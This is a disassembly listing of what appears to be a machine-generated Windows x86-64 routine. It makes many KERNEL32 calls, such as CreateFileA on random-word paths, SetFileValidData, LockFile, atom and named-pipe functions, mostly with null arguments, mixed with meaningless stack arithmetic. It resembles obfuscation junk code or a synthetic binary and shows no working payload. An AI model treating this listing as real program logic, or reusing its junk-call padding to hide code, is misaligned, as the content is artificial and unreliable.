mov rcx, qword [rsp + 0x9e80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4404]
mov dword [rsp + 0x4640], eax
lea rdx, [rsp + 0x28260]
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x41c8], eax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9fa8]
mov qword [rsp + 0xa178], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa178]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99c0]
mov rcx, qword [rsp + 0xa138]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9d78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:PergolaPropensitiesBelittling_fatigues_reaped
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa180], rax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x57]
mov qword [rsp + 0xa188], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7d3b
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4498], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
sar eax, cl
mov rcx, qword [0x1401e7450]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:depressantsunsurvivableUnedifyingEsauconfuse
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa190], rax
movsx eax, word [rsp + 0xbb0]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbf0], ax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0xa198], rax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbd8]
sub eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x437c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x435c], eax
mov eax, dword [rsp + 0x4458]
mov dword [rsp + 0x4644], eax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9be0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x96f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93b0]
mov qword [rsp + 0xa1a0], rax
movsx eax, byte [rsp + 0x93]
movsx ecx, byte [rsp + 0x59]
sub eax, ecx
mov byte [rsp + 0x64], al
movsx eax, word [0x1401e7494]
movsx ecx, word [rsp + 0xbc8]
sub eax, ecx
mov word [0x1401e6094], ax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca0]
add eax, ecx
mov word [rsp + 0xc70], ax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov byte [rsp + 0xc5], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa1a8], rax
mov rax, qword [rsp + 0x90f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x94d8]
mov word [rcx], ax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd94], ax
lea rax, [rsp + 0x4370]
mov qword [rsp + 0xa1b0], rax
mov eax, dword [rsp + 0x44f0]
mov ecx, dword [rsp + 0x4464]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x442c], eax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0x9f78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x451c], eax
lea rax, [rsp + 0x9548]
mov qword [rsp + 0xa1b8], rax
mov rax, qword [rsp + 0x9d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9160]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa138]
mov qword [rcx], rax
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x99b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
add eax, ecx
mov rcx, qword [rsp + 0x9788]
mov byte [rcx], al
lea rax, [rsp + 0xba0]
mov qword [0x1401e7610], rax
mov rax, qword [rsp + 0x96b8]
movzx eax, word [rax]
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xa1c0], rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x9cc8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x44f8]
movzx ecx, al
mov eax, dword [rsp + 0x44c8]
shl eax, cl
mov dword [rsp + 0x446c], eax
lea rdx, [rsp + 0x44e0]
mov rcx, qword [rsp + 0xa030]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x451c], eax
mov rax, qword [rsp + 0x9c50]
mov eax, dword [rax]
mov dword [rsp + 0x464c], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9610]
sar rax, cl
mov qword [rsp + 0x9050], rax
lea rcx, str.Crystals_Sunlounger_Silage_Irritability_missal
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0xa198]
movzx eax, byte [rax]
mov byte [rsp + 0xc6], al
movzx eax, byte [0x1401e6012]
movzx ecx, byte [rsp + 0x68]
or eax, ecx
mov rcx, qword [0x1401e7480]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ff8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xc5c], ax
movsx eax, word [rsp + 0xd7c]
mov rcx, qword [0x1401e7460]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd74], ax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xa1c8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0x9140]
mov ecx, dword [rsp + 0x45c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4484], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x9318]
mov qword [rsp + 0xa1d8], rax
mov rax, qword [rsp + 0x9ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x450c], eax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e74d8]
mov byte [rcx], al
movzx eax, word [rsp + 0xbd8]
movzx ecx, word [rsp + 0xbb8]
sub eax, ecx
mov word [rsp + 0xca4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4650], eax
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0xdc4], ax
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [rsp + 0xb5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xdc8], ax
mov rax, qword [rsp + 0x9568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0x9a08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96f0]
mov qword [rcx], rax
lea rcx, [rsp + 0x8c48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, 0x2e2136
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4654], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43e4], eax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0xa1e0], rax
lea rdx, [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4274], eax
lea rcx, str.tousles_Sainthood
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xdcc], ax
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43ec], eax
mov eax, dword [rsp + 0x456c]
mov ecx, dword [rsp + 0x44d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dc0]
mov dword [rcx], eax
lea rdx, [rsp + 0x43d8]
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4658], eax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x7b]
sar eax, cl
mov byte [0x1401e604b], al
lea rax, [rsp + 0xccc]
mov qword [rsp + 0xa1e8], rax
movzx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movsx eax, byte [rsp + 0x66]
mov rcx, qword [rsp + 0x9cc0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9af0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa949
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x91f8], rax
mov eax, dword [rsp + 0x4538]
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0x98b8]
mov rcx, qword [rsp + 0x9a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0x9d28]
mov rax, qword [rax]
mov rcx, qword [0x1401e6008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9850]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4660], eax
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
mov byte [0x1401e746b], al
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov word [rsp + 0xdd0], ax
mov rax, qword [rsp + 0x9e70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64], al
movzx eax, word [rsp + 0xd74]
mov word [rsp + 0xdd4], ax
lea rcx, [rsp + 0x26968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x255c0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x9ef0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a50]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rdx, [rsp + 0x4508]
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x43f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:_asylums_afferentGrisly
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa1f0], rax
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0xa1f8], rax
mov rax, qword [rsp + 0x90f0]
mov ecx, dword [rsp + 0x4450]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x445c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov eax, dword [rsp + 0x4348]
mov ecx, dword [rsp + 0x4528]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0x9298]
mov rax, qword [rax]
mov qword [rsp + 0xa200], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov r9d, 1
lea r8, [rsp + 0x95a0]
mov rdx, qword [rsp + 0x95a0]
mov rcx, qword [rsp + 0x9f20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4664], eax
mov rax, qword [0x1401e75d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb8]
add eax, ecx
mov rcx, qword [0x1401e7458]
mov byte [rcx], al
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [rsp + 0x94d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd80], ax
movzx eax, word [rsp + 0xc34]
mov word [rsp + 0xdd8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:_solariaSolvencyGreyestFervent
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa208], rax
mov rax, qword [rsp + 0x9838]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb1]
sub eax, ecx
mov rcx, qword [rsp + 0x9d68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
lea rax, section..data
mov qword [rsp + 0xa210], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x45ec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4384], eax
lea rax, [rsp + 0x9168]
mov qword [rsp + 0xa218], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
lea rcx, [rsp + 0x94b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x9e78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa0e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:congestedSprainsDriedInflammatory
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa220], rax
mov dword [rsp + 0x20], 0x3532
mov r9d, 0x266f
mov r8d, 0x36b9
mov edx, 0x2965
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4314], eax
lea rax, [rsp + 0x93]
mov qword [0x1401e7618], rax
movsx eax, word [rsp + 0xd4c]
movsx ecx, word [rsp + 0xbdc]
sar eax, cl
mov rcx, qword [rsp + 0x9f28]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6a96
mov rcx, qword [rsp + 0x9c58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x43f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa228], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movzx eax, word [rsp + 0xce4]
mov word [rsp + 0xddc], ax
mov rax, qword [0x1401e7618]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9cc0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9af0]
mov byte [rcx], al
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd24], ax
lea rax, [rsp + 0xbe]
mov qword [rsp + 0xa230], rax
mov rax, qword [rsp + 0x9d90]
mov eax, dword [rax]
imul eax, dword [0x1401e6014]
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x456c
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4668], eax
lea rax, [rsp + 0x9b30]
mov qword [rsp + 0xa238], rax
mov eax, dword [rsp + 0x423c]
mov ecx, dword [rsp + 0x4538]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43e8], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x9050]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9550]
mov qword [rcx], rax
movzx eax, word [rsp + 0xdd8]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov word [0x1401e75b8], ax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xa240], rax
movzx eax, word [rsp + 0xbcc]
movzx ecx, word [0x1401e6004]
sub eax, ecx
mov rcx, qword [rsp + 0x9d40]
mov word [rcx], ax
lea rax, [rsp + 0x92]
mov qword [rsp + 0xa248], rax
movsx eax, word [rsp + 0xbb0]
movsx ecx, word [rsp + 0xd8c]
sub eax, ecx
mov word [rsp + 0xc4c], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x463c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4588], eax
mov eax, dword [rsp + 0x44a4]
mov dword [rsp + 0x466c], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9d88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db8]
mov qword [rsp + 0xa250], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x92dc
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4648], eax
movzx eax, byte [rsp + 0x86]
movzx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [0x1401e604e], al
lea rcx, [rsp + 0x26938]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xa258], rax
movzx eax, word [rsp + 0xca8]
mov rcx, qword [rsp + 0x91c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa040]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 0x52c061
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4454], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0xbdc]
add eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov word [rcx], ax
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xde0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
or eax, ecx
mov byte [rsp + 0x99], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45cc], eax
mov rax, qword [rsp + 0x9950]
mov eax, dword [rax]
mov dword [rsp + 0x4670], eax
mov rax, qword [rsp + 0x9500]
movzx ecx, al
mov rax, qword [rsp + 0x9488]
shl rax, cl
mov rcx, qword [rsp + 0x94e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95f8]
movzx ecx, al
mov rax, qword [rsp + 0x9648]
sar rax, cl
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0xa0a8]
mov eax, dword [rax]
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x99f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
xor eax, ecx
mov rcx, qword [rsp + 0x9320]
mov word [rcx], ax
movsx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x9eb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e6074], ax
mov rax, qword [0x1401e7518]
movzx eax, byte [rax]
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
sub eax, ecx
mov rcx, qword [rsp + 0xa0d8]
mov byte [rcx], al
lea rax, [rsp + 0xc24]
mov qword [rsp + 0xa260], rax
mov rax, qword [rsp + 0x9a38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa068]
mov ecx, dword [rsp + 0x4464]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d88]
mov rax, qword [rax]
mov qword [rsp + 0xa268], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
mov eax, dword [rsp + 0x4554]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa050]
mov dword [rcx], eax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xa270], rax
lea rax, [rsp + 0xcdc]
mov qword [0x1401e7620], rax
movzx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd58], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:CraningPimp_altruistically
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa278], rax
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
add eax, ecx
mov rcx, qword [rsp + 0x98a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x9e80]
mov rcx, qword [rsp + 0x9e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x98c0], rax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x454c], eax
mov eax, dword [rsp + 0x4458]
mov dword [rsp + 0x4678], eax
mov rax, qword [rsp + 0x9248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x9128]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9550]
mov qword [rcx], rax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0x9660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e606c], ax
movsx eax, word [0x1401e74e0]
movsx ecx, word [rsp + 0xd2c]
shl eax, cl
mov word [rsp + 0xdc4], ax
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xca], al
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64]
xor eax, ecx
mov rcx, qword [rsp + 0x9788]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x9a80]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9598], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa288], rax
mov rax, qword [rsp + 0x9b38]
mov qword [rsp + 0xa290], rax
mov rax, qword [rsp + 0x8e98]
mov ecx, dword [rsp + 0x43a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x423c], eax
lea rax, [rsp + 0x4628]
mov qword [rsp + 0xa298], rax
movzx eax, word [rsp + 0xbd4]
mov rcx, qword [rsp + 0x9e30]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xbb4], ax
movsx eax, byte [rsp + 0xc2]
movsx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [0x1401e7528]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b28]
movzx eax, word [rax]
mov word [rsp + 0xde4], ax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x9d80]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6012]
add eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x94d8]
movzx eax, word [rax]
mov word [rsp + 0xde8], ax
mov eax, dword [rsp + 0x4348]
mov ecx, dword [rsp + 0x44ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94e0]
mov rax, qword [rax]
mov qword [rsp + 0xa2a0], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
mov rcx, qword [0x1401e7410]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9188], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9960]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e602f]
sub eax, ecx
mov byte [0x1401e604f], al
mov rax, qword [rsp + 0x9118]
movzx eax, byte [rax]
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
